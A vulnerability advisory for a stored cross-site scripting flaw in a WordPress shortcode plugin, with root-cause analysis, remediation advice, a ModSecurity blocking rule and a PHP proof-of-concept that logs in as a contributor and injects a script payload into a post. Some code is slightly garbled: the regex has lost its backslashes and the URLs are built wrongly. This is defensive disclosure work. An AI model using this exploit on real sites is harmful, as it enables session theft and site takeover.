Atomic Edge analysis of CVE-2026-3554 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in the Sherk Custom Post Type Displays WordPress plugin. The vulnerability exists in the plugin’s ‘sherkcptdisplays’ shortcode handler, specifically within the ‘title’ attribute. Attackers with Contributor-level permissions or higher can inject malicious scripts into posts or pages, which execute when a victim views the compromised content. The CVSS score of 6.4 reflects a medium severity issue with scope change, indicating the attack can impact users beyond the targeted component.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The vulnerability description confirms that the ‘sherkcptdisplays_func()’ function in ‘includes/SherkCPTDisplaysShortcode.php’ extracts the ‘title’ attribute value using ‘shortcode_atts()’ and directly concatenates it into an HTML
tag without escaping. This pattern is a classic example of CWE-79, where user-supplied input is not neutralized before being placed into web page output. The analysis infers that no capability check exists for shortcode usage within post content, a common WordPress oversight, but this is not explicitly confirmed by the available metadata.
Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post or page and inserts the vulnerable shortcode with a malicious payload in the ‘title’ attribute. The payload is a standard XSS JavaScript payload, such as `alert(document.domain)`. When any user, including administrators, views the published post containing this shortcode, the malicious script executes in their browser context. The attack vector is entirely within the WordPress post editor’s shortcode interface.
Remediation requires proper output escaping. The plugin must escape the ‘title’ attribute value before output. In WordPress, the appropriate function is ‘esc_html()’ or ‘esc_attr()’ when outputting within an HTML attribute context. The fix should be applied where the attribute is concatenated into the
tag on line 31 of the vulnerable file. A comprehensive fix would also involve validating or sanitizing the input upon shortcode attribute parsing, but output escaping is the primary and necessary defense.
The impact of successful exploitation is client-side code execution in the context of a victim’s browser session. An attacker can perform actions as the victim user, such as stealing session cookies, performing requests on the user’s behalf, or redirecting to malicious sites. For administrative victims, this could lead to full site compromise, including plugin/theme installation, user creation, or content modification. The stored nature of the attack amplifies its impact, as the payload executes for every visitor to the compromised page.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3554 (metadata-based)
# This rule blocks attempts to exploit the Stored XSS via the 'sherkcptdisplays' shortcode's 'title' attribute.
# The rule targets the WordPress post update action where shortcodes are inserted.
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20263554,phase:2,deny,status:403,chain,msg:'CVE-2026-3554: Sherk Custom Post Type Displays Stored XSS via title attribute',severity:'CRITICAL',tag:'CVE-2026-3554',tag:'WordPress',tag:'Plugin:SherkCPTDisplays',tag:'Attack:XSS'"
SecRule ARGS_POST:action "@streq editpost" "chain"
SecRule ARGS_POST:content "@rx [sherkcptdisplays[^]]*titles*=s*["'][^"']*[<>'"](?:onw+|style|script)"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3554 - Sherk Custom Post Type Displays <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute
<?php
$target_url = 'http://target-site.local/wp-login.php';
$username = 'contributor_user';
$password = 'contributor_pass';
$post_id = 123; // ID of a post the contributor can edit
// Payload to inject into the shortcode's 'title' attribute.
// This is a basic proof-of-concept alert. A real attack would use a more stealthy payload.
$xss_payload = '<script>alert(`Atomic Edge XSS: `+document.domain)</script>';
// Construct the malicious shortcode.
$malicious_shortcode = '[sherkcptdisplays title="' . $xss_payload . '"]';
// Initialize cURL session for login and cookie handling.
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
$response = curl_exec($ch);
// Check for login success by looking for a dashboard redirect or absence of login form.
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
die('Login failed. Check credentials.');
}
// Step 2: Navigate to the post edit page to obtain the nonce.
$edit_post_url = $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit';
curl_setopt($ch, CURLOPT_URL, $edit_post_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$edit_page = curl_exec($ch);
// Extract the nonce for updating the post. This regex looks for the '_wpnonce' field in the post edit form.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
if (empty($nonce_matches[1])) {
die('Could not extract nonce from edit page.');
}
$nonce = $nonce_matches[1];
// Step 3: Update the post content with the malicious shortcode.
// This PoC assumes the post content is replaced entirely. A real attack might append.
$update_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
$update_fields = [
'post_ID' => $post_id,
'content' => $malicious_shortcode,
'_wpnonce' => $nonce,
'_wp_http_referer' => urlencode('/wp-admin/post.php?post=' . $post_id . '&action=edit'),
'action' => 'editpost',
'save' => 'Update'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_fields));
$update_response = curl_exec($ch);
// Verify update success.
if (strpos($update_response, 'Post updated.') !== false || strpos($update_response, 'Post published.') !== false) {
echo "PoC successful. Shortcode injected into post ID: $post_idn";
echo "Visit the post to trigger the XSS payload.n";
} else {
echo "Post update may have failed. Check permissions and post status.n";
}
curl_close($ch);
?>